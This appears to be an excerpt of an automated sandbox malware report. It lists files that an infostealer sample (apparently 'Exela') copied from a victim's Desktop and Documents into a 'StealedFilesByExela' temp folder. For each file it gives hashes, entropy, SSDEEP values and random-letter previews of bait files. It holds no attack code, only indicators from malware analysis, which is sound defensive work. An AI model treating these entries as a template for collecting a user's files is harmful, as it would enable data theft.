Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\VLZDGUKUTZ.pdf

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	true
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\WKXEWIOTXI.png

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697336881644685
Encrypted:	false
SSDEEP:	24:DVE9Jf1tiezZxapTBz4fmlhQHdwc6WS/ZCGxruwyJM:Deu8xafWWKHj6Zx
MD5:	08AF516B9E451DB9845289801A21F1BC
SHA1:	D43E58D334ACFAE831AD929003D89DC6D3B499F9
SHA-256:	C459EA8FCABD26C75606F78F91AA8446698D90422EE4869ABE4ABCCB50B45379
SHA-512:	C8C2BB634740DBDDC5928E5FD3960011BB86842B72673FDCE2D65C86AE6D5945F0C88E81AE96DEA711CC654FAC8B4EC809DF18F57BFB4129503DE37E426CF055
Malicious:	false
Preview:	WKXEWIOTXIKPVKMTOJVZKCCJOJQJVVBUCRVSCWBTZFRFCLMJEFYWDAADXDSWAVKQUKEQVBGBEVVYQQKRCSDIQBFHQPNUHXEGBVBQAZXUXMBFNLNCNTBFAMVYZJITBIGADWSFAFETGWVSLSMWHTRSSUNGFAPUBMTUYBFNDIWUKESLBWQSCOTLFFHGDQBTCYHJBCBOARQTWMUDRIUXIXOCLDIEADCRMXGAMQGVIRNLAGTALJHBZWRNXXRRBLYDOAYCBGEJCTGYVJXPIAIVUAKQQBRSXZKMFBMWWCHMTGNMNRBVSOTUFWOEJRLHHVPMJECGASFUTKIEPJVDDGJBEAOSKQSOAKQFVDMPVFZXVQQGBIVNAKYSEGLMWLAYDYTALUJSLPWCLEJKQBXBYHAKPFMJEIYHGDOFGQSDOCEQICJNJHPIMYZXEEBLQDGZQJHXKMNXDWJCMMFBONBYYWLDOKPYOROQOAOXKLNFZNGOBDFJUKRZTHKLRBINVCYAUIXORJECNOHLVMBHPPCTEWZMHAKKOWVWNWGYCHRMUWRNDXFYYWTIGTCJKQDPGUNHAJQDLUZMXHCGTFUQBMGYHZZQTDVDXANXWNWKFTJJGQDHQOXVXPQVSIEKEEJXYUACENKWKIJBJQXHMLMPZXYAVPNORKZSDXAKFPVLVKXAALPKPLPVFPCSRBEEJDNJCIJXXOCNXCBVGHIYCQQVQHTTNURHGTJJXKJRPJEGOUFOHMMCJGVNMXOAXZBVGWVBLQZNFUTGTNMFHQOEJPQLIMHIWPQHWMJJDCVVMWJEEFQQZJEEECMHCCUANTBJYRWUCSJSOHYMSBWTKOKBZPVNMIVCLDDALCEUFSLAOCOCSAXADDYPCSIANHKQFGMSMYTDVKAOIYTWPDDCRKDNZYGXHYDSDFXTLUDKREZTPVBCYOHCUNIFNCKBSSGTENGDYROMJUTSSFWEEFXLJPBMSINKXZCEUWQMDWGNHDWNFHYTECVIYIAPNGWL

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\BPMLNOBVSB.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\FENIVHOIKN.mp3

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\HTAGVDFUIE.mp3

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\KATAXZVCPS.png

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMK